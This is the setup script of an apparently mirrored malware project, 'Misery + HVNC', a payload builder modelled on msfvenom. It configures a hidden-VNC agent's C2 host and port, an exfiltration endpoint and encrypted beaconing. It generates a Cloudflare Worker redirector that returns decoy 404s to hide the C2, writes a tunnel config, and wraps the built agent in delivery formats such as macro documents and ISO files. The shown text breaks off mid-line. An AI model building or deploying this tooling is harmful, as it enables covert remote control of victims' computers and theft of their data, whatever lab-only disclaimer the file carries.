mirror of
https://git.churchofmalware.org/JYenn/Misery
synced 2026-09-22 05:27:07 +00:00
756 lines
30 KiB
Python
756 lines
30 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
Misery + HVNC payload builder -- msfvenom-style setup.
|
|
|
|
Two faces:
|
|
setup.py [options] <var=val> non-interactive, msfvenom-style CLI
|
|
setup.py -g / setup.py interactive guided wizard
|
|
setup.py --list transports list available transports
|
|
setup.py --list options list payload options (var=val + defaults)
|
|
|
|
It writes src/config.h (compile-time config shared by agent + console) and,
|
|
for the CDN transport, the Cloudflare Worker and cloudflared tunnel artifacts,
|
|
then builds the project. The console's ECDH P-256 keypair is generated here:
|
|
the public half goes into config.h, the private half into .misery_key, which is
|
|
gitignored and never compiled into any binary.
|
|
|
|
Run only from an authorized lab.
|
|
"""
|
|
|
|
import argparse
|
|
import hashlib
|
|
import json
|
|
import random
|
|
import shutil
|
|
import struct
|
|
import subprocess
|
|
import sys
|
|
import time
|
|
from pathlib import Path
|
|
|
|
ROOT = Path(__file__).resolve().parent
|
|
SRC = ROOT / "src"
|
|
CONFIG_H = SRC / "config.h"
|
|
DEPLOY = ROOT / "deploy"
|
|
BUILD = ROOT / "build"
|
|
DIST = ROOT / "dist"
|
|
KEY_FILE = ROOT / ".misery_key"
|
|
|
|
try:
|
|
import wrappers
|
|
except ImportError:
|
|
wrappers = None
|
|
|
|
BANNER = r"""
|
|
========================================================
|
|
Misery + HVNC - payload builder (msfvenom-style)
|
|
a devoted sister of the Church of Malware
|
|
========================================================
|
|
"""
|
|
|
|
|
|
# ---------------------------------------------------------------- options model
|
|
|
|
# var=val names -> (attribute, prompt text, required, validator)
|
|
OPTIONS = {
|
|
"LHOST": ("lhost", "C2 host (agent reaches this)", True, None),
|
|
"LPORT": ("lport", "C2 port", False, None),
|
|
"BEACON_URL": ("beacon_url", "Worker beacon URL (https://<you>.workers.dev/poll)", True, None),
|
|
"AUTH_HEADER": ("auth_header", "CDN auth header name", False, None),
|
|
"AUTH_SECRET": ("auth_secret", "CDN auth header value", True, None),
|
|
"SLEEP_MS": ("sleep_ms", "Beacon interval (ms)", False, None),
|
|
"EXFIL_URL": ("exfil_url", "Optional HTTPS exfil endpoint (empty = channel only)", False, None),
|
|
"TUNNEL_HOST": ("tunnel_host", "Hostname the Worker forwards to (tunnel ingress, e.g. c2.example.com)", False, None),
|
|
"CF_ACCESS_CLIENT_ID": ("cf_access_client_id", "Cloudflare Access service-token client ID (empty = none)", False, None),
|
|
"CF_ACCESS_CLIENT_SECRET": ("cf_access_client_secret", "Cloudflare Access service-token client secret (empty = none)", False, None),
|
|
"OUT": ("out", "Output artifact base name", False, None),
|
|
"STAGE_URL": ("stage_url", "URL where the agent exe is hosted (needed by remote-cradle wrappers)", False, None),
|
|
}
|
|
|
|
TRANSPORTS = {
|
|
"tcp": {
|
|
"name": "TCP (current)",
|
|
"desc": "Reverse TCP listener on the console; agent connects directly.",
|
|
},
|
|
"https_cdn": {
|
|
"name": "HTTPS beacon via CDN (Cloudflare)",
|
|
"desc": "Agent POSTs encrypted frames to a Cloudflare Worker that relays "
|
|
"through a Zero Trust Tunnel to the console. No public IP on the "
|
|
"console. The console runs the relay listener on the C2 port and "
|
|
"the same REPL commands work over it.",
|
|
},
|
|
}
|
|
|
|
|
|
class Config:
|
|
def __init__(self):
|
|
self.transport = "tcp"
|
|
self.lhost = None
|
|
self.lport = 4444
|
|
self.beacon_url = None
|
|
self.auth_header = "X-RT-C2"
|
|
self.auth_secret = None
|
|
self.sleep_ms = 5000
|
|
self.exfil_url = ""
|
|
self.tunnel_host = "c2.yourdomain.com"
|
|
self.cf_access_client_id = ""
|
|
self.cf_access_client_secret = ""
|
|
self.pub_blob = None # ECDH P-256 public blob (72 bytes) -> config.h
|
|
self.priv_blob = None # ECDH P-256 private blob (104 bytes) -> .misery_key
|
|
self.out = "misery"
|
|
self.build = True
|
|
self.payload_formats = []
|
|
self.stage_url = ""
|
|
|
|
|
|
# ---------------------------------------------------------------- ECDH keygen
|
|
|
|
# NIST P-256 domain parameters.
|
|
_NIST_P = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
|
|
_NIST_N = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
|
|
_NIST_A = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
|
|
_NIST_B = 0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
|
|
_NIST_G = (0x6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296,
|
|
0x4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5)
|
|
|
|
# Known-answer test vector: a documented private key and its public point.
|
|
_KA_PRIV = 0xC9AFA9D845BA75166B5C215767B1D6934E50C3DB36E89B127B8A622B120F6721
|
|
_KA_PUB = (0x60FED4BA255A9D31C961EB74C6356D68C049B8923B61FA6CE669622E60F29FB6,
|
|
0x7903FE1008B8BC99A41AE9E95628BC64F2F1B20C2D7E9F5177A3C294D4462299)
|
|
|
|
|
|
def _ec_inv(x: int) -> int:
|
|
return pow(x % _NIST_P, -1, _NIST_P)
|
|
|
|
|
|
def _ec_add(p, q):
|
|
"""Point addition on the P-256 curve; None is the point at infinity."""
|
|
if p is None:
|
|
return q
|
|
if q is None:
|
|
return p
|
|
x1, y1 = p
|
|
x2, y2 = q
|
|
if x1 == x2 and (y1 + y2) % _NIST_P == 0:
|
|
return None
|
|
if p == q:
|
|
m = (3 * x1 * x1 + _NIST_A) * _ec_inv(2 * y1) % _NIST_P
|
|
else:
|
|
m = (y2 - y1) * _ec_inv(x2 - x1) % _NIST_P
|
|
x3 = (m * m - x1 - x2) % _NIST_P
|
|
y3 = (m * (x1 - x3) - y1) % _NIST_P
|
|
return (x3, y3)
|
|
|
|
|
|
def _ec_mul(k: int, point):
|
|
k %= _NIST_N
|
|
result = None
|
|
while k:
|
|
if k & 1:
|
|
result = _ec_add(result, point)
|
|
point = _ec_add(point, point)
|
|
k >>= 1
|
|
return result
|
|
|
|
|
|
def _ec_valid(p) -> bool:
|
|
if p is None:
|
|
return False
|
|
x, y = p
|
|
return (0 <= x < _NIST_P and 0 <= y < _NIST_P
|
|
and (y * y - x * x * x - _NIST_A * x - _NIST_B) % _NIST_P == 0)
|
|
|
|
|
|
def _ec_selftest() -> None:
|
|
"""Verify the point math against a known vector and a fresh ECDH pair.
|
|
Aborts setup on any mismatch so a broken keypair can never ship."""
|
|
assert _ec_valid(_NIST_G), "P-256 base point failed the on-curve check"
|
|
assert _ec_mul(1, _NIST_G) == _NIST_G, "1*G != G"
|
|
assert _ec_add(_NIST_G, _NIST_G) == _ec_mul(2, _NIST_G), "G+G != 2G"
|
|
assert _ec_mul(_KA_PRIV, _NIST_G) == _KA_PUB, "P-256 known-answer test failed"
|
|
rng = random.SystemRandom()
|
|
da = rng.randrange(1, _NIST_N)
|
|
db = rng.randrange(1, _NIST_N)
|
|
s1 = _ec_mul(da, _ec_mul(db, _NIST_G))
|
|
s2 = _ec_mul(db, _ec_mul(da, _NIST_G))
|
|
assert s1 is not None and s1 == s2, "ECDH agreement mismatch"
|
|
|
|
|
|
def ecdh_keypair() -> tuple:
|
|
"""Fresh P-256 keypair as BCrypt blobs: (public 72B, private 104B).
|
|
Blob layout is [magic:4][cbKey:4][X][Y][D] with little-endian header and
|
|
big-endian coordinate integers; BCRYPT_ECCPUBLIC/PRIVATE_P256_MAGIC.
|
|
cbKey is the per-coordinate length (32 for P-256), confirmed against a
|
|
BCryptExportKey round trip."""
|
|
d = random.SystemRandom().randrange(1, _NIST_N)
|
|
q = _ec_mul(d, _NIST_G)
|
|
assert _ec_valid(q), "generated point is not on the curve"
|
|
x = q[0].to_bytes(32, "big")
|
|
y = q[1].to_bytes(32, "big")
|
|
db = d.to_bytes(32, "big")
|
|
pub = struct.pack("<II", 0x314B4345, 32) + x + y
|
|
priv = struct.pack("<II", 0x324B4345, 32) + x + y + db
|
|
return pub, priv
|
|
|
|
|
|
def public_blob_from_private(priv: bytes) -> bytes:
|
|
"""The private blob embeds X and Y, so the matching public blob is just the
|
|
ECK1 header plus those coordinates."""
|
|
return struct.pack("<II", 0x314B4345, 32) + priv[8:72]
|
|
|
|
|
|
def private_blob_valid(priv: bytes) -> bool:
|
|
"""Accept a persisted private blob only when it re-derives its own public
|
|
coordinates, so a corrupt or legacy-format file is treated as absent."""
|
|
if len(priv) != 104:
|
|
return False
|
|
magic, cb = struct.unpack("<II", priv[:8])
|
|
if magic != 0x324B4345 or cb != 32:
|
|
return False
|
|
x = int.from_bytes(priv[8:40], "big")
|
|
y = int.from_bytes(priv[40:72], "big")
|
|
d = int.from_bytes(priv[72:104], "big")
|
|
if not (0 < d < _NIST_N):
|
|
return False
|
|
q = _ec_mul(d, _NIST_G)
|
|
return q is not None and q[0] == x and q[1] == y
|
|
|
|
|
|
# Persisted console private key. Reused across setup.py runs so a rebuild does
|
|
# not silently change identity and orphan agents already built against it.
|
|
def load_saved_private() -> bytes:
|
|
try:
|
|
s = KEY_FILE.read_text(encoding="utf-8").strip()
|
|
except OSError:
|
|
return b""
|
|
try:
|
|
b = bytes.fromhex(s)
|
|
except ValueError:
|
|
return b""
|
|
return b if private_blob_valid(b) else b""
|
|
|
|
|
|
def save_private(priv: bytes) -> None:
|
|
KEY_FILE.write_text(priv.hex() + "\n", encoding="utf-8")
|
|
try:
|
|
KEY_FILE.chmod(0o600)
|
|
except OSError:
|
|
pass
|
|
|
|
|
|
def ensure_keypair(c: Config, rotate: bool) -> None:
|
|
"""Fill c.pub_blob / c.priv_blob from .misery_key unless rotate wants a
|
|
fresh pair. Idempotent once the blobs are set."""
|
|
if c.priv_blob and c.pub_blob and not rotate:
|
|
return
|
|
if not rotate:
|
|
saved = load_saved_private()
|
|
if saved:
|
|
c.priv_blob = saved
|
|
c.pub_blob = public_blob_from_private(saved)
|
|
print("[*] reusing saved console ECDH key from .misery_key")
|
|
return
|
|
c.pub_blob, c.priv_blob = ecdh_keypair()
|
|
print("[*] generated a fresh console ECDH keypair")
|
|
|
|
|
|
def byte_escapes(data: bytes) -> str:
|
|
return "".join("0x%02x," % b for b in data)
|
|
|
|
|
|
def local_ips() -> list:
|
|
"""Best-effort IPv4 list from ipconfig for the MSFPC-style IP pick menu."""
|
|
out = []
|
|
try:
|
|
r = subprocess.run(["ipconfig"], capture_output=True, text=True, timeout=10)
|
|
for line in r.stdout.splitlines():
|
|
line = line.strip()
|
|
if "IPv4" in line:
|
|
# "IPv4 Address. . . . . . . . . . . . : 192.168.1.10"
|
|
part = line.split(":")[-1].strip()
|
|
if part and part.count(".") == 3:
|
|
out.append(part)
|
|
except Exception:
|
|
pass
|
|
return out
|
|
|
|
|
|
# ---------------------------------------------------------------- emission
|
|
|
|
def write_config(c: Config) -> str:
|
|
header = (
|
|
"// Generated by setup.py. Do not edit by hand; it is overwritten on each run.\n"
|
|
"// Defaults present only so a fresh checkout builds without running the builder.\n"
|
|
"#pragma once\n\n"
|
|
"// Transport type: 0 = TCP, 1 = HTTPS beacon through a CDN (Cloudflare).\n"
|
|
"#define HVNC_TRANSPORT %d\n\n"
|
|
"// TCP C2 target (transport 0). In beacon mode the port doubles as the\n"
|
|
"// console relay's listen port; the host is unused there.\n"
|
|
"#define HVNC_C2_HOST \"%s\"\n"
|
|
"#define HVNC_C2_PORT %d\n\n"
|
|
"// Optional HTTPS exfil endpoint. Empty means results stay on the C2 channel.\n"
|
|
"#define HVNC_EXFIL_URL \"%s\"\n\n"
|
|
"// Console's ECDH P-256 public key (BCRYPT_ECCPUBLIC_BLOB, 72 bytes).\n"
|
|
"// Only this public half is compiled in; the private half lives in\n"
|
|
"// .misery_key on the operator box. Each connection/session derives its\n"
|
|
"// AES-256-GCM key from an ECDH handshake, so no secret key material\n"
|
|
"// ever ships inside a binary.\n"
|
|
"#define HVNC_CONSOLE_PUBKEY_LEN %d\n"
|
|
"#define HVNC_CONSOLE_PUBKEY_BYTES \\\n %s\n\n"
|
|
"// HTTPS beaconing (transport = 1): worker URL, auth header, beacon interval.\n"
|
|
"#define HVNC_BEACON_URL \"%s\"\n"
|
|
"#define HVNC_AUTH_HEADER \"%s\"\n"
|
|
"#define HVNC_AUTH_SECRET \"%s\"\n"
|
|
"#define HVNC_BEACON_SLEEP_MS %d\n"
|
|
) % (
|
|
(1 if c.transport == "https_cdn" else 0),
|
|
c.lhost or "127.0.0.1",
|
|
int(c.lport),
|
|
c.exfil_url,
|
|
len(c.pub_blob),
|
|
byte_escapes(c.pub_blob),
|
|
c.beacon_url or "",
|
|
c.auth_header,
|
|
c.auth_secret or "",
|
|
int(c.sleep_ms),
|
|
)
|
|
CONFIG_H.write_text(header, encoding="utf-8")
|
|
return str(CONFIG_H)
|
|
|
|
|
|
def write_worker(c: Config) -> str:
|
|
DEPLOY.mkdir(exist_ok=True)
|
|
if c.tunnel_host in ("", "c2.yourdomain.com"):
|
|
print("[!] TUNNEL_HOST is still the placeholder ('%s'); the relay "
|
|
"won't reach your tunnel until it is set." % c.tunnel_host)
|
|
if not c.cf_access_client_id or not c.cf_access_client_secret:
|
|
print("[!] CF Access service-token empty; the Worker still relays, but "
|
|
"it cannot authenticate to a tunnel that enforces service auth.")
|
|
p = DEPLOY / "worker.js"
|
|
p.write_text(
|
|
"// Generated by setup.py -- Cloudflare Worker redirector for Misery+HVNC.\n"
|
|
"// Valid requests (matching the auth header) are relayed to the tunnel\n"
|
|
"// hostname with the Zero Trust service-auth headers attached; anything\n"
|
|
"// else gets a decoy 404.\n"
|
|
"const AUTH_HEADER = %r;\n"
|
|
"const AUTH_SECRET = %r;\n"
|
|
"const TUNNEL_HOST = %r;\n"
|
|
"const CF_ACCESS_CLIENT_ID = %r;\n"
|
|
"const CF_ACCESS_CLIENT_SECRET = %r;\n"
|
|
"\n"
|
|
"export default {\n"
|
|
" async fetch(request) {\n"
|
|
" if (request.headers.get(AUTH_HEADER) !== AUTH_SECRET) {\n"
|
|
" return new Response('{}', { status: 404, headers: { 'Content-Type': 'application/json' } });\n"
|
|
" }\n"
|
|
" const url = new URL(request.url);\n"
|
|
" url.hostname = TUNNEL_HOST;\n"
|
|
" const headers = new Headers(request.headers);\n"
|
|
" headers.set('CF-Access-Client-Id', CF_ACCESS_CLIENT_ID);\n"
|
|
" headers.set('CF-Access-Client-Secret', CF_ACCESS_CLIENT_SECRET);\n"
|
|
" const upstream = await fetch(new Request(url.toString(), {\n"
|
|
" method: request.method,\n"
|
|
" headers: headers,\n"
|
|
" body: request.body,\n"
|
|
" redirect: 'follow',\n"
|
|
" }));\n"
|
|
" const resp = new Response(upstream.body, upstream);\n"
|
|
" resp.headers.set('Cache-Control', 'no-store');\n"
|
|
" return resp;\n"
|
|
" },\n"
|
|
"};\n"
|
|
% (c.auth_header, c.auth_secret, c.tunnel_host, c.cf_access_client_id, c.cf_access_client_secret),
|
|
encoding="utf-8",
|
|
)
|
|
return str(p)
|
|
|
|
|
|
def write_tunnel(c: Config) -> str:
|
|
DEPLOY.mkdir(exist_ok=True)
|
|
p = DEPLOY / "cloudflared-config.yml"
|
|
p.write_text(
|
|
"# Generated by setup.py -- cloudflared tunnel config.\n"
|
|
"# Run: cloudflared tunnel create <name> (gives the tunnel UUID)\n"
|
|
"# cloudflared tunnel run <name>\n"
|
|
"# Put this file in ~/.cloudflared/config.yml and set tunnel + credentials.\n"
|
|
"# The Worker forwards to the public hostname; see worker.js.\n"
|
|
"\n"
|
|
"# tunnel: <TUNNEL-UUID>\n"
|
|
"# credentials-file: /root/.cloudflared/<TUNNEL-UUID>.json\n"
|
|
"\n"
|
|
"ingress:\n"
|
|
" - hostname: c2.yourdomain.com\n"
|
|
" service: http://localhost:%d\n"
|
|
" - service: http_status:404\n"
|
|
% int(c.lport),
|
|
encoding="utf-8",
|
|
)
|
|
return str(p)
|
|
|
|
|
|
# ---------------------------------------------------------------- build + report
|
|
|
|
def run_build(c: Config) -> bool:
|
|
if not c.build:
|
|
return True
|
|
print("[*] Building..")
|
|
if not shutil.which("cmake"):
|
|
print("[!] cmake not found; config emitted, build skipped.")
|
|
return False
|
|
if not (BUILD / "CMakeCache.txt").exists():
|
|
subprocess.run(["cmake", "-S", str(ROOT), "-B", str(BUILD)], check=False)
|
|
r = subprocess.run(["cmake", "--build", str(BUILD), "--config", "Release"], check=False)
|
|
return r.returncode == 0
|
|
|
|
|
|
# Sliver-style artifact step: the built agent is copied to dist/<OUT>.exe with
|
|
# a per-build manifest (config snapshot + artifact hash + build time), so an
|
|
# operator can tell which config produced which binary and spot a rebuilt
|
|
# artifact by hash. The auth secret never lands in the manifest.
|
|
def emit_artifacts(c: Config, payloads: list = None) -> list:
|
|
DIST.mkdir(exist_ok=True)
|
|
out = []
|
|
exe = BUILD / "agent.exe"
|
|
dst = DIST / ("%s.exe" % c.out)
|
|
if exe.exists():
|
|
shutil.copyfile(exe, dst)
|
|
out.append(str(dst))
|
|
sha = hashlib.sha256(dst.read_bytes()).hexdigest()
|
|
else:
|
|
sha = ""
|
|
print("[!] %s not found; manifest emitted without artifact" % exe)
|
|
manifest = {
|
|
"name": c.out,
|
|
"transport": c.transport,
|
|
"lhost": c.lhost or "",
|
|
"lport": int(c.lport),
|
|
"beacon_url": c.beacon_url or "",
|
|
"auth_header": c.auth_header,
|
|
"sleep_ms": int(c.sleep_ms),
|
|
"exfil_url": c.exfil_url or "",
|
|
"pubkey_fp": hashlib.sha256(c.pub_blob).hexdigest()[:16],
|
|
"build_time": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()),
|
|
"artifact": "%s.exe" % c.out,
|
|
"sha256": sha,
|
|
}
|
|
if payloads:
|
|
manifest["payloads"] = payloads
|
|
mp = DIST / ("%s.manifest.json" % c.out)
|
|
mp.write_text(json.dumps(manifest, indent=2) + "\n", encoding="utf-8")
|
|
out.append(str(mp))
|
|
return out
|
|
|
|
|
|
def list_artifacts() -> None:
|
|
if not DIST.is_dir():
|
|
print("[i] no dist/ artifacts yet; run setup.py with a build")
|
|
return
|
|
for mf in sorted(DIST.glob("*.manifest.json")):
|
|
try:
|
|
m = json.loads(mf.read_text(encoding="utf-8"))
|
|
except (OSError, ValueError):
|
|
print(" %s (unreadable manifest)" % mf)
|
|
continue
|
|
print(" %-24s %s sha256=%s" % (
|
|
m.get("name", "?"), m.get("build_time", "?"),
|
|
(m.get("sha256") or "none")[:12]))
|
|
|
|
|
|
def report(c: Config, files: list) -> None:
|
|
print("\n[i] Emitted:")
|
|
for f in files:
|
|
print(" " + f)
|
|
print("\n[i] Summary:")
|
|
print(" transport : %s" % TRANSPORTS[c.transport]["name"])
|
|
print(" host : %s" % (c.lhost or "(none)"))
|
|
print(" port : %d" % int(c.lport))
|
|
if c.transport == "https_cdn":
|
|
print(" beacon : %s" % c.beacon_url)
|
|
print(" auth : %s: %s" % (c.auth_header, c.auth_secret))
|
|
print(" sleep : %d ms" % int(c.sleep_ms))
|
|
print(" tunnel : %s" % c.tunnel_host)
|
|
print(" cf access : %s" % ("service token set" if c.cf_access_client_id else "none"))
|
|
print(" exfil url : %s" % (c.exfil_url or "(channel only)"))
|
|
if c.payload_formats:
|
|
print(" payloads : %s" % ", ".join(c.payload_formats))
|
|
print(" stage url: %s" % (c.stage_url or "(none - self-contained formats only)"))
|
|
print(" ecdh : P-256 keypair (public in config.h, private in .misery_key)")
|
|
print("\n[*] Recreate without prompts:")
|
|
fmt = (" -p " + ",".join(c.payload_formats)) if c.payload_formats else ""
|
|
stage = (" STAGE_URL=%s" % c.stage_url) if c.payload_formats and c.stage_url else ""
|
|
print(" python setup.py -t %s LHOST=%s LPORT=%d OUT=%s%s%s%s" % (
|
|
c.transport, c.lhost or "", int(c.lport), c.out, fmt, stage,
|
|
"" if c.build else " --no-build"))
|
|
if c.transport == "https_cdn":
|
|
print(" python setup.py -t %s BEACON_URL=%s AUTH_SECRET=%s OUT=%s -g" % (
|
|
c.transport, c.beacon_url, c.auth_secret, c.out))
|
|
print("[!] Authorized lab use only.")
|
|
|
|
|
|
# ---------------------------------------------------------------- guided wizard
|
|
|
|
def ask(prompt, default=None, required=False, valid=None):
|
|
while True:
|
|
d = " [%s]" % default if default else ""
|
|
val = input("? %s%s: " % (prompt, d)).strip()
|
|
if not val and default:
|
|
val = str(default)
|
|
if not val:
|
|
if required:
|
|
print(" (required)")
|
|
continue
|
|
return ""
|
|
if valid and val not in valid:
|
|
print(" (choose from: %s)" % ", ".join(valid))
|
|
continue
|
|
return val
|
|
|
|
|
|
def guided(c: Config) -> None:
|
|
print(BANNER)
|
|
print("[?] Transport:\n")
|
|
keys = list(TRANSPORTS)
|
|
for i, k in enumerate(keys, 1):
|
|
print(" %d.) %-26s %s" % (i, TRANSPORTS[k]["name"], TRANSPORTS[k]["desc"]))
|
|
sel = ask("Select 1-%d" % len(keys), default=1, valid=[str(i) for i in range(1, len(keys) + 1)])
|
|
c.transport = keys[int(sel) - 1]
|
|
|
|
if c.transport == "tcp":
|
|
ips = local_ips()
|
|
if ips:
|
|
print("\n[?] Local interfaces (MSFPC-style; choose your LHOST):")
|
|
for i, ip in enumerate(ips, 1):
|
|
print(" %d.) %s" % (i, ip))
|
|
pick = ask("Select 1-%d, or 0 for manual" % len(ips), default=1)
|
|
if pick == "0":
|
|
c.lhost = ask("C2 host (LHOST)", required=True)
|
|
else:
|
|
c.lhost = ips[int(pick) - 1]
|
|
else:
|
|
c.lhost = ask("C2 host (LHOST)", required=True)
|
|
c.lport = int(ask("C2 port (LPORT)", default=4444))
|
|
else:
|
|
c.beacon_url = ask("Worker beacon URL", required=True)
|
|
c.auth_header = ask("CDN auth header name", default="X-RT-C2")
|
|
c.auth_secret = ask("CDN auth header value", required=True)
|
|
c.sleep_ms = int(ask("Beacon interval ms", default=5000))
|
|
c.tunnel_host = ask("Worker forward hostname (tunnel ingress host)",
|
|
default=c.tunnel_host, required=True)
|
|
c.cf_access_client_id = ask("CF Access service-token client ID (empty = none)", default="")
|
|
c.cf_access_client_secret = ask("CF Access service-token client secret (empty = none)", default="")
|
|
print("[i] tunnel config emitted; the Worker forwards to %s" % c.tunnel_host)
|
|
|
|
c.exfil_url = ask("Optional HTTPS exfil URL (empty = channel only)")
|
|
print("\n[?] Payload wrapper formats (filetype delivery, 2026-style):")
|
|
if wrappers:
|
|
print("\n".join(wrappers.list_formats()))
|
|
sel = ask("Comma-separated formats, 'all', or 0 for none", default="0")
|
|
if sel.strip() not in ("0", ""):
|
|
for fmt in sel.split(","):
|
|
fmt = fmt.strip()
|
|
if fmt:
|
|
c.payload_formats.append(fmt)
|
|
else:
|
|
print(" (wrappers.py not importable; skipping)")
|
|
if c.payload_formats:
|
|
c.stage_url = ask("STAGE_URL (where the agent exe is hosted; needed by "
|
|
"the remote-cradle formats)")
|
|
print("\n[?] Console ECDH keypair (P-256):")
|
|
print(" 1.) Reuse saved (.misery_key)")
|
|
print(" 2.) Rotate: fresh keypair (orphans previously built agents)")
|
|
km = ask("Select 1-2", default=1, valid=["1", "2"])
|
|
ensure_keypair(c, rotate=(km == "2"))
|
|
c.out = ask("Output artifact base name", default="misery")
|
|
c.build = ask("Build now? [y/n]", default="y") in ("y", "Y", "yes")
|
|
|
|
|
|
# ---------------------------------------------------------------- CLI + main
|
|
|
|
def main() -> None:
|
|
parser = argparse.ArgumentParser(
|
|
prog="setup.py",
|
|
description="Misery + HVNC payload builder (msfvenom-style)",
|
|
add_help=False,
|
|
)
|
|
parser.add_argument("-t", "--transport", choices=list(TRANSPORTS))
|
|
parser.add_argument("-l", "--list", nargs="?", const="transports", metavar="TYPE",
|
|
help="list 'transports' or 'options'")
|
|
parser.add_argument("--options", action="store_true",
|
|
help="list payload options and defaults")
|
|
parser.add_argument("-o", "--out")
|
|
parser.add_argument("-p", "--payload-format", action="append", default=[],
|
|
help="delivery wrapper(s): comma-separated format names, "
|
|
"'all', or repeat the flag (see --list-formats)")
|
|
parser.add_argument("--list-formats", action="store_true",
|
|
help="list payload wrapper formats and their dependencies")
|
|
parser.add_argument("--rotate-key", action="store_true",
|
|
help="generate a fresh console ECDH keypair and rebuild (ignore saved .misery_key)")
|
|
parser.add_argument("--list-artifacts", action="store_true",
|
|
help="list built artifacts from dist/ manifests")
|
|
parser.add_argument("-g", "--guided", action="store_true", help="force interactive wizard")
|
|
parser.add_argument("--no-build", action="store_true", help="emit config only, skip build")
|
|
parser.add_argument("-h", "--help", action="store_true")
|
|
|
|
opts, unknown = parser.parse_known_args()
|
|
|
|
if opts.help:
|
|
print(BANNER)
|
|
parser.print_help()
|
|
print("\nUsage: setup.py [options] <var=val>\n")
|
|
print("Options: (var=val also accepted, msfvenom-style)")
|
|
for name, (attr, desc, req, _) in sorted(OPTIONS.items(), key=lambda kv: kv[0]):
|
|
print(" %-12s %s%s" % (name, desc, "" if not req else " [required]"))
|
|
print(" BUILD Set to 0 to skip the cmake build")
|
|
print(" --list-artifacts list built artifacts from dist/ manifests")
|
|
print(" --list-formats list payload wrapper formats and dependencies")
|
|
fmts = ",".join(f[0] for f in wrappers.FORMATS) if wrappers else "see --list-formats"
|
|
print(" -p/--payload-format delivery wrappers: %s or 'all'" % fmts)
|
|
print("\nExamples:")
|
|
print(" setup.py -g")
|
|
print(" setup.py -t tcp LHOST=10.0.0.5 LPORT=4444 -o agent")
|
|
print(" setup.py -t https_cdn BEACON_URL=https://x.workers.dev/poll AUTH_SECRET=s3cr3t")
|
|
print(" setup.py -p docm,iso -t tcp LHOST=10.0.0.5 STAGE_URL=http://10.0.0.5:8080/agent.exe")
|
|
print(" setup.py --list transports")
|
|
print(" setup.py --list options")
|
|
print(" setup.py --list-formats")
|
|
print(" setup.py --list-artifacts")
|
|
return
|
|
|
|
if opts.list or opts.options:
|
|
want = opts.list or ("options" if opts.options else "transports")
|
|
if want in ("transports", "all"):
|
|
print("\nAvailable transports:\n")
|
|
for k, v in TRANSPORTS.items():
|
|
print(" %-12s %s" % (k, v["name"]))
|
|
print(" %s\n" % v["desc"])
|
|
if want in ("options", "all"):
|
|
print("\nPayload options (var=val):\n")
|
|
for name, (attr, desc, req, _) in sorted(OPTIONS.items(), key=lambda kv: kv[0]):
|
|
print(" %-12s %s%s" % (name, desc, "" if not req else " [required]"))
|
|
if want == "all" and wrappers:
|
|
print("\nPayload wrapper formats:\n")
|
|
print("\n".join(wrappers.list_formats()))
|
|
return
|
|
|
|
if opts.list_formats:
|
|
print("\nPayload wrapper formats:\n")
|
|
if wrappers is None:
|
|
print(" wrappers.py not importable next to setup.py")
|
|
else:
|
|
print("\n".join(wrappers.list_formats()))
|
|
return
|
|
|
|
if opts.list_artifacts:
|
|
print("\nBuilt artifacts (dist/):\n")
|
|
list_artifacts()
|
|
return
|
|
|
|
c = Config()
|
|
|
|
# --no-build / BUILD=0
|
|
c.build = not opts.no_build
|
|
|
|
# gather var=val from positional args (msfvenom style)
|
|
for tok in unknown:
|
|
if "=" in tok:
|
|
k, v = tok.split("=", 1)
|
|
if k.upper() in OPTIONS:
|
|
setattr(c, OPTIONS[k.upper()][0], v)
|
|
elif k.upper() == "BUILD":
|
|
c.build = (v.strip() != "0")
|
|
else:
|
|
print("[!] unknown var: %s" % k)
|
|
|
|
# flags override var=val
|
|
if opts.transport:
|
|
c.transport = opts.transport
|
|
if opts.out:
|
|
c.out = opts.out
|
|
for tok in opts.payload_format:
|
|
for fmt in tok.split(","):
|
|
fmt = fmt.strip()
|
|
if not fmt:
|
|
continue
|
|
if fmt == "all":
|
|
c.payload_formats = ["all"]
|
|
break
|
|
c.payload_formats.append(fmt)
|
|
if "all" in c.payload_formats:
|
|
c.payload_formats = ["all"]
|
|
# Flags given -> non-interactive; bare invocation or -g -> guided wizard.
|
|
has_input = bool(c.lhost or c.beacon_url or opts.transport)
|
|
interactive = opts.guided or not has_input
|
|
|
|
if interactive:
|
|
guided(c)
|
|
else:
|
|
if c.transport == "tcp":
|
|
c.lhost = c.lhost or "127.0.0.1"
|
|
c.lport = int(c.lport or 4444)
|
|
else:
|
|
if not c.beacon_url:
|
|
print("[!] BEACON_URL required for https_cdn")
|
|
sys.exit(1)
|
|
c.auth_secret = c.auth_secret or ""
|
|
c.sleep_ms = int(c.sleep_ms or 5000)
|
|
|
|
# validate
|
|
if c.transport not in TRANSPORTS:
|
|
print("[!] unknown transport: %s" % c.transport)
|
|
sys.exit(1)
|
|
if c.payload_formats and wrappers is None:
|
|
print("[!] wrappers.py not importable next to setup.py")
|
|
sys.exit(1)
|
|
if c.payload_formats:
|
|
valid = [f[0] for f in wrappers.FORMATS]
|
|
bad = [f for f in c.payload_formats if f != "all" and f not in valid]
|
|
if bad:
|
|
print("[!] unknown payload format: %s" % ", ".join(bad))
|
|
print(" valid: %s" % ", ".join(valid))
|
|
sys.exit(1)
|
|
_ec_selftest()
|
|
ensure_keypair(c, opts.rotate_key)
|
|
save_private(c.priv_blob)
|
|
|
|
files = [write_config(c)]
|
|
if c.transport == "https_cdn":
|
|
files.append(write_worker(c))
|
|
files.append(write_tunnel(c))
|
|
|
|
report(c, files)
|
|
ok = run_build(c)
|
|
payloads = []
|
|
if ok and c.build:
|
|
files += emit_artifacts(c)
|
|
print("\n[i] Artifacts (dist/):")
|
|
for f in files[-2:]:
|
|
print(" " + f)
|
|
if c.payload_formats:
|
|
exe = BUILD / "agent.exe"
|
|
if not exe.exists():
|
|
print("[!] %s not found; payload wrappers skipped" % exe)
|
|
else:
|
|
agent = exe.read_bytes()
|
|
want = [f for f in c.payload_formats] if "all" not in c.payload_formats \
|
|
